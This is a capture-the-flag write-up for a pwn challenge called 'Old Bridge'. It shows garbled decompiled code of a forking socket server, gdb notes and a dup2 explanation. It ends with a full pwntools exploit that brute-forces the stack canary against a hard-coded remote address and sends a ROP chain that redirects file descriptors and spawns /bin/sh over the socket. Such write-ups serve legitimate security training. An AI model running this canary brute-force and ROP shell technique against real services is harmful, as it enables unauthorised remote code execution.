# Old Bridge

1) Checked security

2) Decompiled the code

#### Decompile: main - (oldbridge) 1 2 void main(int param 1, undefined8 \*param 2) 3 4 { 5 int iVarl; long in FS OFFSET; 6 7 socklen\_t local\_50; undefined4 local 4c; 8 9 int local 48; undefined4 local 44; 10 int local 40; 11 \_\_pid\_t local\_3c; 12 13 sockaddr local 38; sockaddr local 28; 14 15 undefined8 local 10; 16 17 local\_10 = \*(undefined8 \*)(in\_FS\_OFFSET + 0x28); 18 local 4c = 1;19 if (param 1 != 2) { 20 printf("usage: %s <port>\n",\*param\_2); 21 /\* WARNING: Subroutine does not return \*/ 22 exit(1); 23 } 24 local 48 = atoi((char \*)param 2[1]);25 signal(2,exit server); server sd = socket(2,1,0); 26 if (server\_sd < 0) { 27 perror("socket"); 28 29 /\* WARNING: Subroutine does not return \*/ 30 exit(1); 31 } 32 iVarl = setsockopt(server\_sd,1,2,&local\_4c,4); if (iVarl < 0) {</pre> 33 34 perror("setsockopt"); 35 /\* WARNING: Subroutine does not return \*/ 36 exit(1); } 37 38 $local_38.sa_family = 2;$ local 38.sa data. 2 4 = htonl(0); 39 40 local\_38.sa\_data.\_0\_2\_ = htons((uint16\_t)local\_48); 41 local 44 = 0x10;42 iVarl = bind(server sd,&local 38,0x10); 43 if (iVarl < 0) { 44 perror("bind"); 45 close(server sd); 46 /\* WARNING: Subroutine does not return \*/ 47 exit(1); } 48 49 iVarl = listen(server\_sd,5); if (iVarl < 0) { 50

```
perror("listen");
51
      close(server_sd);
52
53
                       /* WARNING: Subroutine does not return */
54
      exit(1);
55
    }
    signal(0x11,( sighandler t)0x1);
56
57
    while( true ) {
58
      local 50 = 0x10;
59
      local 40 = accept(server sd, &local 28, &local 50);
      if (local 40 < 0) {
60
        perror("accept");
61
        close(server sd);
62
63
                       /* WARNING: Subroutine does not return */
64
         exit(1);
      }
65
66
      local 3c = fork();
      if (local 3c < 0) break;
67
      if (local 3c == 0) {
68
        iVarl = check username(local 40);
69
70
         if (iVarl != 0) {
          write(local 40, "Username found!\n", 0x10);
71
72
         }
        close(local_40);
73
74
                       /* WARNING: Subroutine does not return */
75
        exit(0);
      }
76
77
      close(local 40);
78
    perror("fork");
79
80
    close(local 40);
81
    close(server sd);
82
                       /* WARNING: Subroutine does not return */
83
    exit(1):
84 }
85
```

#### Decompile: check username - (oldbridge) 1 2 bool check username(int param 1) 4 { 5 int iVarl: 6 ssize t sVar2; 7 long in\_FS\_OFFSET; int local 420; 8 byte local 418 [1032]; 9 10 long local 10; 11 local 10 = \*(long \*)(in FS OFFSET + 0x28);12 write(param 1, "Username: ",10); 13 14 sVar2 = read(param 1, local 418, 0x420);for (local 420 = 0; local 420 < (int)sVar2; local 420 = local 420 + 1) { 15 16 local 418[local 420] = local 418[local 420] ^ 0xd; 17 } 18 iVarl = memcmp(local 418, "il{dih", 6);

/\* WARNING: Subroutine does not return \*/

3) Note:

19

20

21

22 23

24 } 25

i) Special debug

If you want to debug the child process, you must use follow-fork-mode. You must set the mode using

```
set follow-fork-mode child
```

set detach-on-fork off

if (local 10 != \*(long \*)(in FS OFFSET + 0x28)) {

\_stack\_chk\_fail();

return iVarl == 0;

does support debugging multiple processes at once. Refer to sourceware.org/gdb/current/onlinedocs/gdb.html/..., stackoverflow.com/q/59735807/5267751 and sourceware.org/gdb/current/onlinedocs/gdb.html/... -- in particular, you can set follow-fork-mode parent + set detach-on-fork off + set schedule-multiple on, then continue will run all inferior at once. See also stackoverflow.com/q/27140941/5267751 to avoid gdb stopping when each inferior stop, or you can use inferior 1 → continue . - user202729 Dec 31, 2023 at 13:51 ✓

We need to use this to debug

```
-(vigneswar&VigneswarPC)-[~/Pwn/Old Bridge]
s gdb -q ./oldbridge
GEF for linux ready, type 'gef' to start, 'gef config' to configure
88 commands loaded and 5 functions added for GDB 13.2 in 0.00ms using Python
 engine 3.11
Reading symbols from ./oldbridge...
(No debugging symbols found in ./oldbridge)
gef➤ set follow-fork-mode parent
gef➤ set detach-on-fork off
gef➤ set schedule-multiple on
gef➤ inferior 1 -> continue
Attempt to extract a component of a value that is not a structure pointer.
gef➤ inferior 1
[Switching to inferior 1 [<null>] (/home/vigneswar/Pwn/Old Bridge/oldbridge)
gef▶ inferior 1 continue
A syntax error in expression, near 'continue'.
gef≯ run
Starting program: /home/vigneswar/Pwn/Old Bridge/oldbridge
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
usage: /home/vigneswar/Pwn/Old Bridge/oldbridge <port>
[Inferior 1 (process 3487) exited with code 01]
gef➤ run 1234
Starting program: /home/vigneswar/Pwn/Old Bridge/oldbridge 1234
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
```

ii) There is stack buffer overflow in check\_username, we somehow need to leak canary (canary value of same for all child process) so we maybe able to bruteforce it iii) DUP2

## dup2()

The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. In other words, the file descriptor newfd is adjusted so that it now refers to the same open file description as oldfd.

If the file descriptor *newfd* was previously open, it is closed before being reused; the close is performed silently (i.e., any errors during the close are not reported by dup2()).

The steps of closing and reusing the file descriptor newfd are performed atomically. This is important, because trying to implement equivalent functionality using close(2) and dup() would be subject to race conditions, whereby newfd might be reused between the two steps. Such reuse could happen because the main program is interrupted by a signal handler that allocates a file descriptor, or because a parallel thread allocates a file descriptor.

Note the following points:

- If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
- If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.

Since, our we are interacting with the binary through sockets, normal execve will pop a shell that gets input from stdin, to fix this, we need to copy stdin, stdout, stderr to socket file descriptor

### 4) Exploit

```
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./oldbridge")
context.binary = exe

rem_ip = '94.237.57.59' # ip
port = 48325 # port
leak =
b'\x00\xf3\x07\x95`\xab\xfa\xc7`\xff\xe4f\xfd\x7f\x00\x00\xcf\x0e\x80\xaa\x9fU'

for k in range(24):
    if k == 16:
        leak += b'\xcf'
        continue
```

```
if k == 17:
        leak += b' \times 0e'
        continue
    for j in range(256):
        io = remote(rem ip, port)
        io.sendafter(b'Username: ', bytes(i^0xd for i in
b'il\{dih'+b'\setminus x55'*1026+leak+bytes([j]))\}
            print(f'\033[2JLeaking data: {k}, Found: {leak}, Progressing:
{bytes([j])}', end='\r')
            response = io.recvuntil(b'found')
            if b'Username' in response:
                leak += bytes([j])
                break
        except:
            pass
        sleep(0.00001)
        io.close()
        print("Something went wrong!")
        break
exe.address = unpack(leak[16:], 'all')-0xecf
rbp = unpack(leak[8:16], 'all')+0xb88-0x1000 # adjust based on system
canary = leak[:8]
print(canary, hex(rbp), hex(exe.address))
# rop
print("Popping a shell...")
io = remote(rem ip, port)
rop chain = ROP(exe)
SYSCALL RET = rop chain.find gadget(['syscall', 'ret'])[0]
for j in range(3):
    rop chain.rax = constants.SYS dup2
    rop chain.call(SYSCALL RET, [4, j])
rop chain.rax = 59
rop chain.call(SYSCALL RET, [rbp, 0, 0])
rop chain = rop chain.chain()
print("Performing ROP:")
io.sendafter(b'Username: ', bytes(i^0xd for i in b'il{dih\x55\x55'+b'/bin/
sh \times 00' + rop chain + b' \times 55' * (1016 - len (rop chain)) + canary + p64 (rbp) + leave ret))
io.interactive()
```

## 5) Flag